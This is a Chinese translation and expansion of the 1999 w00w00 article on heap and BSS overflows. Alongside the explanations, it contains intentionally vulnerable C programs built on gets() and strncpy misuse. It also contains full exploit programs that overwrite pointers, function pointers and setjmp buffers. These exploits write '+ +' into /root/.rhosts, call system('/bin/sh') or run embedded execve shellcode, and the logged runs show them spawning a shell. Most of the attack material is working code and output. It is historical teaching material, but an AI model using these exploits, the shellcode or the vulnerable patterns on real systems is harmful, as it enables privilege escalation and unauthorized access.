Heap/BSS 溢出机理分析[转]

[前言:								        ]
[    这篇文章主要是基于w00w00发表的:				        ]
[		w00w00 on Heap Overflows				]
[By: Matt Conover (a.k.a. Shok) & w00w00 Security Team			]
[-----------------------------------------------------------------------]
[Copyright (C) January 1999, Matt Conover & w00w00 Security Development	]
[  也补充了一些程序和自己的想法.					]
[  非常感谢Matt Conover (Shok)给予的热情帮助.                           ]
[  (Thank Shok for his great work and help )                            ]
[  你可以从下面的地址获取原文:						]
[  http://http://www.w00w00.org/articles.html				]
[  由于时间较紧,疏漏之处难免,任何意见和建议请发给warning3@hotmail.com ]


    虽然基于Heap(堆)/BSS的溢出现在是相当普遍的,但并没有多少介绍它的资料。
本文将帮你理解什么是Heap溢出,也介绍了几种常用的攻击方法,同时给出了一些可
能的解决方案。阅读本文,您需要了解一些汇编,C语言以及堆栈溢出的基本知识。

一.为什么Heap/BSS溢出很重要?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   堆栈溢出的问题已经广为人知,越来越多的操作系统商家增加了不可执行堆栈的补
丁,一些个人也提供了自己的补丁,象著名的Solar Designer提供的针对Linux的不可
执行堆栈的kernel patch(目前已经推出了用于2.2.13内核的patch),也有一些人开发
了一些编译器来防止堆栈溢出,象Crispin Cowan等开发的StackGuard等等。这些方法
都一定程度上可以减少由堆栈溢出导致的安全问题,但是并却不能防止Heap/BSS的溢出。
在大多数的操作系统中,Heap和BSS段都是可写可执行的。这就使得Heap/BSS的溢出成
为可能。

    
大部分的基于heap的溢出都是不依赖于系统和硬件结构的,这将在后面进一步介绍。

二.一些概念
~~~~~~~~~~~

    一个可执行的文件(比如常见的ELF--Executable and Linking 
Format格式的可执行
文件)通常包含多个段,比如:PLT(过程连接表),GOT(全局偏移表),init(包含在初始化
时执行的指令),fini(包含程序终止时要执行的指令),以及ctors和dtors(包含一些全
局构造指令和析构指令)

所谓HEAP,就是由应用程序动态分配的内存区。在这里,"由应用程序"来分配是值得特别注
意的,因为在一个好的操作系统中,大部分的内存区实际上是在内核一级被动态分配的,而
Heap段则是由应用程序来分配的。它在编译的时候被初始化。
BSS段包含未被初始化的数据,在程序运行的时候才被分配。在被写入数据前,它始终保持
全零(至少从应用程序的角度看是这样的)
   
在大部分的系统中,Heap段是向上增长的(向高址方向增长)。因此,当我们说"X在Y的
下面"时,就是指"X的地址低于Y的地址"。


注意:下面提到的"基于heap的溢出"既包含HEAP段的溢出,也包含BSS段的溢出。

三.Heap/BSS溢出攻击

    
在这一部分中我们将介绍几种不同的利用Heap/BSS溢出的方法。大部分的例子都是针对
x86 
Unix系统的。做一些适当的改变,也可以用于DOS和Windows系统。我们也介绍了几种专
门针对DOS/Windows的攻击方法。

注意:
    
在本文中,为了简单起见,我们使用了精确的偏移量。偏移量必须与实际的值相等,攻
击程序才能工作。当然你也可以象通常的堆栈攻击方法那样,通过提供多个返回地址及插入
空指令等方法以增加成功的机率。

    下面的这个例子是给那些不熟悉Heap溢出的人看的,我会做一些简单的解释:
-----------------------------------------------------------------------------
   /* 演示在heap段(已初始化的数据)发生的动态缓冲区溢出	*/

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

   #define BUFSIZE 16
   #define OVERSIZE 8 /* 我们将覆盖buf2的前OVERSIZE个字节 */

   int main()
   {
      u_long diff;
      char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE);

      diff = (u_long)buf2 - (u_long)buf1;
      printf("buf1 = %p, buf2 = %p, diff = 0x%x (%d)bytes\n", buf1, buf2, 
diff, diff);

      memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = '\0';/* 
将buf2用'A'填充 */

      printf("before overflow: buf2 = %s\n", buf2);
      memset(buf1, 'B', (u_int)(diff + OVERSIZE)); /* 
用diff+OVERSIZE个'B'填充buf1 */
      printf("after overflow: buf2 = %s\n", buf2);

      return 0;
   }
-----------------------------------------------------------------------------
当我们运行它后,得到下面的结果:
[warning3@testserver basic]$ ./heap1 8
buf1 = 0x8049858, buf2 = 0x8049870, diff = 0x18 (24)bytes
before overflow: buf2 = AAAAAAAAAAAAAAA
after overflow: buf2 = BBBBBBBBAAAAAAA

我们看到buf2的前8个字节被覆盖了。这是因为往buf1中填写的数据超出了它的边界进入了
buf2的范围。由于buf2的数据仍然在有效的heap区内,程序仍然可以正常结束。另外我们
可以注意到,虽然buf1和buf2是相继分配的,但他们并不是紧挨着的,而是有8个字节的间
距,这个间距可能随不同的系统环境而不同。

		buf1	    间距	buf2
覆盖前:[xxxxxxxxxxxxxxxx][xxxxxxxx][AAAAAAAAAAAAAAA]
	低址 -----------------------------------> 高址
覆盖后:[BBBBBBBBBBBBBBBB][BBBBBBBB][BBBBBBBBAAAAAAA]

注意:
   
一个阻止heap溢出的可能的方法就是在heap段的所有变量之间放一个"canary"值(就象
   StackGuard中所做的那样),若这个值在执行中被改变,就认为发生了溢出。

为了解释BSS段的溢出,我们来看下面这个例子:
-----------------------------------------------------------------------------
/* 演示在BSS段(未被初始化的数据)的静态缓冲区溢出 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>

#define ERROR -1
#define BUFSIZE 16

int main(int argc, char **argv)
{
   u_long diff;

   int oversize;
   static char buf1[BUFSIZE], buf2[BUFSIZE];

   if (argc <= 1)
   {
      fprintf(stderr, "Usage: %s <numbytes>\n", argv[0]);
      fprintf(stderr, "[Will overflow static buffer by <numbytes>]\n");

      exit(ERROR);
   }

   diff = (u_long)buf2 - (u_long)buf1;

   printf("buf1 = %p, buf2 = %p, diff = 0x%x (%d) bytes\n\n",
          buf1, buf2, diff, diff);

   memset(buf2, 'A', BUFSIZE - 1), memset(buf1, 'B', BUFSIZE - 1);
   buf1[BUFSIZE - 1] = '\0', buf2[BUFSIZE - 1] = '\0';

   printf("before overflow: buf1 = %s, buf2 = %s\n", buf1, buf2);

   oversize = diff + atoi(argv[1]);
   memset(buf1, 'B', oversize);

   buf1[BUFSIZE - 1] = '\0', buf2[BUFSIZE - 1] = '\0';
   printf("after overflow: buf1 = %s, buf2 = %s\n\n", buf1, buf2);

   return 0;
}
-----------------------------------------------------------------------------
当我们运行它后,得到下面的结果:
[warning3@testserver basic]$ ./heap2 8
buf1 = 0x8049874, buf2 = 0x8049884, diff = 0x10 (16) bytes

before overflow: buf1 = BBBBBBBBBBBBBBB, buf2 = AAAAAAAAAAAAAAA
after overflow: buf1 = BBBBBBBBBBBBBBB, buf2 = BBBBBBBBAAAAAAA

和heap溢出类似,buf2的前8个字节也被覆盖了。我们也可以注意到,buf1和buf2是紧挨着
的,这意味着我们可以不用猜测buf1和buf2之间的间距.

		buf1		buf2
覆盖前:[BBBBBBBBBBBBBBBB][AAAAAAAAAAAAAAA]
	低址 ----------------------> 高址
覆盖后:[BBBBBBBBBBBBBBBB][BBBBBBBBAAAAAAA]

从上面两个简单的例子,我们可以应该已经了解Heap/BSS溢出的基本方式了。我们能用它
来覆盖一个文件名,口令或者是保存的uid等等...
下面这个例子演示了一个指针是如何被覆盖的:
-----------------------------------------------------------------------------
   /* 演示在BSS段(未被初始化的数据)中的静态指针溢出 */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>
   #include <errno.h>

   #define BUFSIZE 16
   #define ADDRLEN 4 /* 指针地址的长度 */

   int main()
   {
      u_long diff;
      static char buf[BUFSIZE], *bufptr;

      bufptr = buf, diff = (u_long)&bufptr - (u_long)buf;

      printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n",
             &bufptr, bufptr, buf, diff, diff);

      memset(buf, 'A', (u_int)(diff + ADDRLEN));/* 
将diff+ADDRLEN字节的'A'填充到buf中 */

      printf("bufptr (%p) = %p, buf = %p, diff = 0x%x (%d) bytes\n",
             &bufptr, bufptr, buf, diff, diff);

      return 0;
   }
-----------------------------------------------------------------------------
当我们运行它后,得到下面的结果:
[warning3@testserver basic]$ ./heap3
bufptr (0x8049640) = 0x8049630, buf = 0x8049630, diff = 0x10 (16) bytes
bufptr (0x8049640) = 0x41414141, buf = 0x8049630, diff = 0x10 (16) bytes

		buf	  bufptr
覆盖前:[xxxxxxxxxxxxxxxx][0x08049630]
	低址 ------------------> 高址
覆盖后:[AAAAAAAAAAAAAAAA][0x41414141]
                         [AAAA]

我们可以很清楚的看到,现在指针bufptr现在指向一个不同的地址(0x41414141).
如何利用这一点呢?例如我们可以重写一个临时文件名的指针,使其指向一个不同的字符
串(比如 
argv[1]或是由我们提供的某个环境变量),它可以包含"/root/.rhosts"或"/etc/
passwd"....

    
为了说明这一点,我们再来看一个例子。这个程序会用一个临时文件来储存用户输入的
数据。
-----------------------------------------------------------------------------
   /*
    * 这是一个很典型的有弱点的程序。它将用户的深入储存在一个临时文件中。
    *
    *
    * 编译方法: gcc -o vulprog1 vulprog1.c
    */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>
   #include <errno.h>

   #define ERROR -1
   #define BUFSIZE 16

   /*
    * 将攻击程序以root身份运行或者改变攻击程序中"vulfile"的值。
    * 否则,即使攻击程序成功,它也不会有权限修改/root/.rhosts(缺省的例子)
    *
    */

   int main(int argc, char **argv)
   {
      FILE *tmpfd;
      static char buf[BUFSIZE], *tmpfile;

      if (argc <= 1)
      {
         fprintf(stderr, "Usage: %s <garbage>\n", argv[0]);
         exit(ERROR);
      }

      tmpfile = "/tmp/vulprog.tmp"; /* 这里暂时不考虑链接问题 :) */
      printf("before: tmpfile = %s\n", tmpfile);

      printf("Enter one line of data to put in %s: ", tmpfile);
      gets(buf);		  /* 导致buf溢出 */

      printf("\nafter: tmpfile = %s\n", tmpfile);

      tmpfd = fopen(tmpfile, "w");
      if (tmpfd == NULL)
      {
         fprintf(stderr, "error opening %s: %s\n", tmpfile,
                 strerror(errno));

         exit(ERROR);
      }

      fputs(buf, tmpfd);        /* 将buf提供的数据存入临时文件 */
      fclose(tmpfd);
   }

-----------------------------------------------------------------------------
这个例子中的情形在编程时是很容易发生的,很多人以为用静态数组和静态指针就会比较
安全,看了下面的攻击程序,我想你就不会这么想了.:-)
-----------------------------------------------------------------------------
   /*
    * Copyright (C) January 1999, Matt Conover & WSD
    *
    * 这个程序将用来攻击vulprog1.c.它传输参数给有弱点的程序。有弱点的程序
    * 以为将我们输入的一行数据储存到了一个临时文件里。然而,因为发生了静态
    * 缓冲区溢出的缘故,我们可以修改这个临时文件的指针,让它指向argv[1](我们
    * 
将传递"/root/.rhosts"给它)。然后程序就会将我们提供的输入数据存在"/root
    * /.rhosts"中。所以我们用来覆盖缓冲区的字符串将会是下面的格式:
    *   [+ + # ][(tmpfile地址) - (buf 地址)个字符'A'][argv[1]的地址]
    *
    * "+ +"后面跟着'#'号是为了防止我们的溢出代码出问题。没有'#'(注释符),使用
    * .rhosts的程序就会错误解释我们的溢出代码。
    *
    * 编译方法: gcc -o exploit1 exploit1.c
    */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

   #define BUFSIZE 256

   #define DIFF 16 /* vulprog中buf和tmpfile之间的间距 */

   #define VULPROG "./vulprog1"
   #define VULFILE "/root/.rhosts" /* buf 中的内容将被储存在这个文件中 */

   /* 得到当前堆栈的esp,用来计算argv[1]的地址 */
   u_long getesp()
   {
      __asm__("movl %esp,%eax"); /* equiv. of 'return esp;' in C */
   }

   int main(int argc, char **argv)
   {
      u_long addr;

      register int i;
      int mainbufsize;

      char *mainbuf, buf[DIFF+6+1] = "+ +\t# ";

      /* ------------------------------------------------------ */
      if (argc <= 1)
      {
         fprintf(stderr, "Usage: %s <offset> [try 310-330]\n", argv[0]);
         exit(ERROR);
      }
      /* ------------------------------------------------------ */

      memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# "); /* 
将攻击代码填入buf */

      memset(buf + strlen(buf), 'A', DIFF); /* 用'A'填满剩余的buf空间 */
      addr = getesp() + atoi(argv[1]);	    /* 计算argv[1]的地址 */

      /* 将地址反序排列(在小endian系统中)后存入buf+DIFF处 */
      for (i = 0; i < sizeof(u_long); i++)
         buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);
      /* 计算mainbuf的长度 */
      mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULFILE) + 13;

      mainbuf = (char *)malloc(mainbufsize);
      memset(mainbuf, 0, sizeof(mainbuf));

      snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n",
               buf, VULPROG, VULFILE);

      printf("Overflowing tmpaddr to point to %p, check %s after.\n\n",
             addr, VULFILE);

      system(mainbuf);
      return 0;
   }

-----------------------------------------------------------------------------

[root@testserver vulpkg1]# ./exploit1 349
Overflowing tmpaddr to point to 0xbffffe6d, check /root/.rhosts after.

before: tmpfile = /tmp/vulprog.tmp
Enter one line of data to put in /tmp/vulprog.tmp:
after: tmpfile = /vulprog1

我们看到现在tmpfile指向argv[0]("./vulprog1"), 
我们增加10个字节(argv[0]的长度):

[root@testserver vulpkg1]# ./exploit1 359
Overflowing tmpaddr to point to 0xbffffe77, check /root/.rhosts after.

before: tmpfile = /tmp/vulprog.tmp
Enter one line of data to put in /tmp/vulprog.tmp:
after: tmpfile = /root/.rhosts
[root@testserver vulpkg1]# cat /root/.rhosts
+ +     # AAAAAAAAAAw?緼A

           buf		    tmpfile
覆盖后:[+ +\t# AAAAAAAAAA][0x123445678]

我们已经成功的将"+ +"添加到了/root/.rhosts中!攻击程序覆盖了vulprog用来接受
gets()输入的静态缓冲区,并将猜测的argv[1]的地址覆盖tmpfile.我们可以在mainbuf中
放置任意长度的'A'直到发现多少个'A'才能到达tmpfile的地址。如果你有弱点程序源码的
话,可以增加"printf()"来显示出被覆盖的数据与目标数据之间的距离(比如:
'printf("%p - %p = 0x%lx bytes\n", buf2, buf1, (u_long)diff)').

但通常这个偏移量在编译的时候会发生改变,但我们可以很容易的重新计算/猜测甚至
"暴力"猜测这个偏移量.

注意:

   我们需要一个有效的地址(argv[1]的地址),我们必须将字节顺序反向(在little 
endian
   系统中).Little endian系统通常是低字节在前(x86就是little endian系统).
   因此0x12345678在内存中就是按0x78563412的顺序存放。如果我们是在big 
endian系统
   中做这些(比如sparc),我们就不必做反序的处理了。

   迄今为止,这些例子中没有一个要求可执行的heap!这些例子都是不依赖系统和硬件
   结构的(除了字节反序的部分)。这在攻击heap溢出时是非常有用的。

知道了怎么重写一个指针,我们接下来看看如何修改一个函数指针。与上面的例子不同的是,
修改函数指针的攻击要求有一个可以执行的Heap

函数指针(比如 "int (*funcptr)(char 
*str)")允许程序员动态修改要被调用的函数。我们
可以重写函数指针的地址,使其被执行的时候转去调用我们指定的函数(代码)。为了达到
这个目的,我们有多种选择。

首先,我们可以使用自己的shellcode,我们可以用两种方法来使用我们的shellcode:

    1. argv[]方法 : 
将shellcode储存在一个程序参数中(这要求一个可执行的堆栈)
    2. heap偏移方法:将shellcode储存在从heap的顶端到被覆盖的指针之间的区域中
                     (这要求可执行的heap)

注意:
    
heap可执行的可能性比堆栈可执行的可能性要大得多。因此,利用heap的方法可能更
    常用一些。

另外的一种方法是简单地猜测一个函数(比如system())的地址。如果我们知道攻击程序中
system()的地址,那么被攻击的程序中system()的地址应该与其相差不员,假设两个程序
在同样的情况下编译的话。这种方法的好处在于它不需要一个可执行的heap。
(另外一种方法是使用PLT(过程链接表),这里就不再详述了,有兴趣的可以看stranJer做
的绕过不可执行堆栈的攻击)


第二种方法的优点就是简单。我们可以很快得从攻击程序的system()的地址猜出有弱点程
序的system()地址。而且在远程系统中也是相同的(如果版本,操作系统和硬件结构都一
样的话)。第一种方法的优点在于我们可以利用自己的shellcode来做任意的事,而且并不
需要考虑函数指针的兼容问题,比如不管是char (*funcptr)(int a)还是void 
(*funcptr)
(),都可以顺利工作(第一种方法就必须考虑这些)。它的缺点就是必须要有可执行的heap
/stack.

下面我们再来看一个有弱点的程序:
-----------------------------------------------------------------------------
   /*
    * Just the vulnerable program we will exploit.
    * Compile as: gcc -o vulprog vulprog.c (or change exploit macros)
    */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

   #define ERROR -1
   #define BUFSIZE 64

   int goodfunc(const char *str); /* 正常情况下要被funcptr指向的函数 */

   int main(int argc, char **argv)
   {
      static char buf[BUFSIZE];
      static int (*funcptr)(const char *str);/* 
这个就是我们将要重写的函数指针 */

      if (argc <= 2)
      {
         fprintf(stderr, "Usage: %s <buf> <goodfunc arg>\n", argv[0]);
         exit(ERROR);
      }

      printf("(for 1st exploit) system() = %p\n", system);
      printf("(for 2nd exploit, stack method) argv[2] = %p\n", argv[2]);
      printf("(for 2nd exploit, heap offset method) buf = %p\n\n", buf);

      funcptr = (int (*)(const char *str))goodfunc;
      printf("before overflow: funcptr points to %p\n", funcptr);

      memset(buf, 0, sizeof(buf));
    /* 溢出有可能在这里发生,这也是很常见的一种错误的使用strncpy的例子 */
      strncpy(buf, argv[1], strlen(argv[1]));
      printf("after overflow: funcptr points to %p\n", funcptr);

      (void)(*funcptr)(argv[2]); /* 正常情况下将调用goodfunc,参数为argv[2] 
*/
      return 0;
   }

   /* ---------------------------------------------- */

   /* This is what funcptr would point to if we didn't overflow it */
   int goodfunc(const char *str)
   {
      printf("\nHi, I'm a good function.  I was passed: %s\n", str);
      return 0;
   }
-----------------------------------------------------------------------------
我们来看看第一个攻击的例子,这里采用的是使用system()的方法:
-----------------------------------------------------------------------------
   /*
    * Copyright (C) January 1999, Matt Conover & WSD
    *
    * 演示在bss段(未被初始化的数据)中覆盖静态函数指针的方法。
    *
    * Try in the offset (argv[2]) in the range of 0-20 (10-16 is best)
    * To compile use: gcc -o exploit1 exploit1.c
    */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

/* 假设funcptr与buf之间的距离(对于BSS区来说,这个值应该就是buf的大小 */
   #define BUFSIZE 64

   #define VULPROG "./vulprog" /* 有弱点程序的位置 */
   #define CMD "/bin/sh" /* 定义如果攻击成功后要执行的命令 */

   #define ERROR -1

   int main(int argc, char **argv)
   {
      register int i;
      u_long sysaddr;
      static char buf[BUFSIZE + sizeof(u_long) + 1] = {0};

      if (argc <= 1)
      {
         fprintf(stderr, "Usage: %s <offset>\n", argv[0]);
         fprintf(stderr, "[offset = estimated system() offset]\n\n");

         exit(ERROR);
      }

      sysaddr = (u_long)&system - atoi(argv[1]); /* 计算system()的地址 */
      printf("trying system() at 0x%lx\n", sysaddr);

      memset(buf, 'A', BUFSIZE);

      /* 在little endian系统中,需要将字节反序排列 */
      for (i = 0; i < sizeof(sysaddr); i++)
         buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;

      execl(VULPROG, VULPROG, buf, CMD, NULL);
      return 0;
   }
-----------------------------------------------------------------------------
当我们运行它后,得到下面的结果:

[warning3@testserver vulpkg2]$ ./exploit2 12
Trying system() at 0x80483fc
system()'s address = 0x80483fc
before overflow: funcptr points to 0x80485fc
after overflow: funcptr points to 0x80483fc
bash$

接下来的例子中我们用了stack和heap的方法:
-----------------------------------------------------------------------------
   /*
    * Copyright (C) January 1999, Matt Conover & WSD
    *
    * 这演示了如何重写一个静态函数指针使其指向我们提供的shellcode.
    * 这种方法要求可执行的stack或heap
    *
    * 这个程序中有两个参数:offset和heap/stack. 对于stack方法来说,
    * offset为堆栈顶端到(有弱点程序的)argv[2]的距离.
    * 对于heap方法来说,offset为heap的顶端到被覆盖的(或指定的)buffer之间的
    * 距离。
    *
    * Try values somewhere between 325-345 for argv[] method, and 420-450
    * for heap.
    *
    * To compile use: gcc -o exploit2 exploit2.c
    */

   #include <stdio.h>
   #include <stdlib.h>
   #include <unistd.h>
   #include <string.h>

   #define ERROR -1
   #define BUFSIZE 64 /* estimated diff between buf/funcptr */

   #define VULPROG "./vulprog" /* where the vulprog is */

   char shellcode[] = /* just aleph1's old shellcode (linux x86) */
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
     "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
     "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

   u_long getesp()
   {
      __asm__("movl %esp,%eax"); /* 得到当前堆栈顶端的值 */
   }

   int main(int argc, char **argv)
   {
      register int i;
      u_long sysaddr;
      char buf[BUFSIZE + sizeof(u_long) + 1];

      if (argc <= 2)
      {
         fprintf(stderr, "Usage: %s <offset> <heap | stack>\n", argv[0]);
         exit(ERROR);
      }

      if (strncmp(argv[2], "stack", 5) == 0) /* 使用堆栈的方法 */
      {
         printf("Using stack for shellcode (requires exec. stack)\n");

         sysaddr = getesp() + atoi(argv[1]);   /* 计算argv[2]的地址 */
         printf("Using 0x%lx as our argv[1] address\n\n", sysaddr);

         memset(buf, 'A', BUFSIZE + sizeof(u_long));
      }

      else                                   /* 使用heap的方法 */
      {
         printf("Using heap buffer for shellcode "
                "(requires exec. heap)\n");

        /* 计算目标buffer的地址(sbrk(0)用来得到heap的顶端地址) */
         sysaddr = (u_long)sbrk(0) - atoi(argv[1]);
         printf("Using 0x%lx as our buffer's address\n\n", sysaddr);
	/* 计算是否buf与funcptr之间的距离不足以放下我们的shellcode */
	/* 如果这段距离比较小的话,其实可以采用另外的方法来填充:  */
	/*   buf                funcptr  sysaddr
	/* [sysaddr|sysaddr|...][sysaddr][shellcode]               */

         if (BUFSIZE + 4 + 1 < strlen(shellcode))
         {
            fprintf(stderr, "error: buffer is too small for shellcode "
                            "(min. = %d bytes)\n", strlen(shellcode));

            exit(ERROR);
         }

         strcpy(buf, shellcode);
         memset(buf + strlen(shellcode), 'A',
                BUFSIZE - strlen(shellcode) + sizeof(u_long));
      }

      buf[BUFSIZE + sizeof(u_long)] = '\0';

      /* reverse byte order (on a little endian system) (ntohl equiv) */
      for (i = 0; i < sizeof(sysaddr); i++)
         buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;

      execl(VULPROG, VULPROG, buf, shellcode, NULL);
      return 0;
   }
-----------------------------------------------------------------------------
先来看看用堆栈的方法:
[warning3@testserver vulpkg3]$ ./exploit3 319 stack
Using stack for shellcode (requires exec. stack)
Using 0xbffffdf7 as our argv[1] address

argv[1] = 0xbffffdf7
buf = 0x8049820

before: funcptr = 0x8048500
after: funcptr = 0xbffffdf7

bash$

		buf	  funcptr          堆栈区
覆盖前:[xxxxxx...xxxxxxx][0x08048500]
	低址 ------------------> 高址
覆盖后:[AAAAAA...AAAAAAA][0xbffffdf7]    [shellcode]
                             |           ^
                             |___________|

下面是用heap的方法:
[warning3@testserver vulpkg3]$ ./exploit3 836 heap
Using heap buffer for shellcode (requires exec. heap)
Using 0x8049820 as our buffer's address

argv[1] = 0xbffffdf7
buf = 0x8049820

before: funcptr = 0x8048500
after: funcptr = 0x8049820

bash$

		buf	  funcptr
覆盖前:[xxxxxxxxxxxxxxxx][0x08048500]
	低址 ------------------> 高址
覆盖后:[shellcodeAAA...A][0x8049820]
       ^
       |_0x8049820


从上面的例子可以看出,对于同一种问题,可以有几种不同的攻击手法.这里我们另外再介
绍一种类型的攻击.它利用了setjmp和longjmp函数.这两个函数通常用来在一些低阶函数
中处理一些错误和中断.setjmp(jmpbuf)用来保存当前的堆栈栈帧到jmpbuf中,longjmp
(jmpbuf,val)将从jmpbuf中恢复堆栈栈帧,longjmp执行完后,程序继续从setjmp()的下一
条语句处执行,并将val作为setjmp()的返回值.jmpbuf中保存有寄存器bx,si,di,bp,sp,pc
,如果我们能在longjmp执行以前覆盖掉jmpbuf,我们就能重写寄存器pc.因此当longjmp恢复
保存的堆栈栈帧后,程序就可能跳到我们指定的地方去执行.至于跳转地址,可以是堆栈中,
也可以是heap中.现在我们以x86系统为例来具体解释一下.
(下面的代码在Redhat 6.0 ,2.2.5下编译通过.对于其他的系统,请参考setjmp.h来修改
相应的代码)
首先我们来看一个有弱点的程序:
-----------------------------------------------------------------------------
/*
* This is just a basic vulnerable program to demonstrate
* how to overwrite/modify jmp_buf's to modify the course of
* execution.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <setjmp.h>

#define ERROR -1
#define BUFSIZE 16

static char buf[BUFSIZE];
jmp_buf jmpbuf;    /* jmpbuf是我们想要覆盖的 */

u_long getesp()
{
   __asm__("movl %esp,%eax"); /* 得到当前堆栈指针 */
}

int main(int argc, char **argv)
{
u_long diff;
   if (argc <= 1)
   {
      fprintf(stderr, "Usage: %s <string1> <string2>\n");
      exit(ERROR);
   }
  diff=(u_long)jmpbuf-(u_long)buf;
  printf("diff=%d\n",diff);
   printf("[vulprog] argv[2] = %p\n", argv[2]);
   printf("[vulprog] sp = 0x%lx\n\n", getesp());

   if (setjmp(jmpbuf)) /* 
如果大于0,那么longjmp()应该已经执行完毕了.直接执行setjmp应该返回1 */
   {
      fprintf(stderr, "error: exploit didn't work\n");
      exit(ERROR);
   }
/* 我们打印出覆盖前后jmpbuf中保存的寄存器的值 */
   printf("before:\n");
   printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx\n",
          jmpbuf->__jmpbuf[JB_BX], jmpbuf->__jmpbuf[JB_SI], 
jmpbuf->__jmpbuf[JB_DI]);

   printf("bp = %p, sp = %p, pc = %p\n\n",
          jmpbuf->__jmpbuf[JB_BP], jmpbuf->__jmpbuf[JB_SP], 
jmpbuf->__jmpbuf[JB_PC]);

   strncpy(buf, argv[1], strlen(argv[1])); /* 这里可能导致jmpbuf被覆盖 */

   printf("after:\n");
   printf("bx = 0x%lx, si = 0x%lx, di = 0x%lx\n",
          jmpbuf->__jmpbuf[JB_BX], jmpbuf->__jmpbuf[JB_SI], 
jmpbuf->__jmpbuf[JB_DI]);

   printf("bp = %p, sp = %p, pc = %p\n\n",
          jmpbuf->__jmpbuf[JB_BP], jmpbuf->__jmpbuf[JB_SP], 
jmpbuf->__jmpbuf[JB_PC]);

   longjmp(jmpbuf, 1);
   return 0;
}
-----------------------------------------------------------------------------

在上面的程序中我们打印出寄存器的值,是为了看得更清楚一些,猜测起来也更容易.:-)

下面我们给出攻击程序.它利用argv[]储存代码,程序需要跳到env处执行,需要可执行堆栈.

-----------------------------------------------------------------------------

/*
* Copyright (C) January 1999, Matt Conover & w00w00 Security Development
*
* 这个程序用来演示通过覆盖jmpbuf(setjmp/longjmp)来在heap中模拟堆栈溢出的方法
* 我们将覆盖jmpbuf中保存的sp/pc寄存器值.当longjmp()被调用的时候,它将从这个地
* 址开始执行下一条指令.所以,如果我们能将代码存储在这个地址,那它就将被执行
*
* This takes two arguments (offsets):
*   arg 1 - stack offset (should be about 25-45).
*   arg 2 - argv offset (should be about 310-330).
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define ERROR -1
#define BUFSIZE 36

#define VULPROG "./vulprog4"

char shellcode[] = /* just aleph1's old shellcode (linux x86) */
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
   "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
   "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

u_long getesp()
{
   __asm__("movl %esp,%eax"); /* the return value goes in %eax */
}

int main(int argc, char **argv)
{
   int stackaddr, argvaddr;
   register int index, i, j;

   char buf[BUFSIZE + 24 + 1];

   if (argc <= 1)
   {
      fprintf(stderr, "Usage: %s <stack offset> <argv offset>\n",
              argv[0]);

      fprintf(stderr, "[stack offset = offset to stack of vulprog\n");
      fprintf(stderr, "[argv offset = offset to argv[2]]\n");

      exit(ERROR);
   }

   stackaddr = getesp() - atoi(argv[1]);
   argvaddr = getesp() + atoi(argv[2]);

   printf("trying address 0x%lx for argv[2]\n", argvaddr);
   printf("trying address 0x%lx for sp\n\n", stackaddr);

   /*
    * The second memset() is needed, because otherwise some values
    * will be (null) and the longjmp() won't do our shellcode.
    */

   memset(buf, 'A', BUFSIZE), memset(buf + BUFSIZE, 0x1, 12);
   buf[BUFSIZE+24] = '\0';

   /* ------------------------------------- */

   /*
    * 当设置pc指向我们的shellcode地址时,我们会覆盖jmpbuf中的ebp/esp,
    * 所以,我们将用正确的值重写它们.
    */

   for (i = 0; i < sizeof(u_long); i++) /* setup BP */
   {
      index = BUFSIZE + 12 + i;
      buf[index] = (stackaddr >> (i * 8)) & 255;
   }

   /* ----------------------------- */

   for (i = 0; i < sizeof(u_long); i++) /* setup SP */
   {
      index = BUFSIZE + 16 + i;
      buf[index] = (stackaddr >> (i * 8)) & 255;
   }

   /* ----------------------------- */

   for (i = 0; i < sizeof(u_long); i++) /* setup PC */
   {
      index = BUFSIZE + 20 + i;
      buf[index] = (argvaddr >> (i * 8)) & 255;
   }

   execl(VULPROG, VULPROG, buf, shellcode, NULL);
   return 0;
}
-----------------------------------------------------------------------------
我们来看一下执行的结果:
[warning3@testserver vulpkg4]$ ./exploit4 20 393
trying address 0xbffffe49 for argv[2]
trying address 0xbffffcac for sp

diff=36
[vulprog] argv[2] = 0xbffffe49
[vulprog] sp = 0xbffffcac

before:
bx = 0x401041b4, si = 0xbffffd04, di = 0x3
bp = 0xbffffcb8, sp = 0xbffffcac, pc = 0x80485c9

after:
bx = 0x1010101, si = 0x1010101, di = 0x1010101
bp = 0xbffffcac, sp = 0xbffffcac, pc = 0xbffffe49

bash$



我们已经看到,在这些例子中,heap区的溢出可以导致很大的安全问题。而在真实的环境
中,heap区的敏感数据也可能被覆盖。例如:

          函数				原因
   1. *gets()/*printf(), *scanf()     __iob (FILE)结构储存在heap
   2. popen()                         __iob (FILE)结构储存在heap
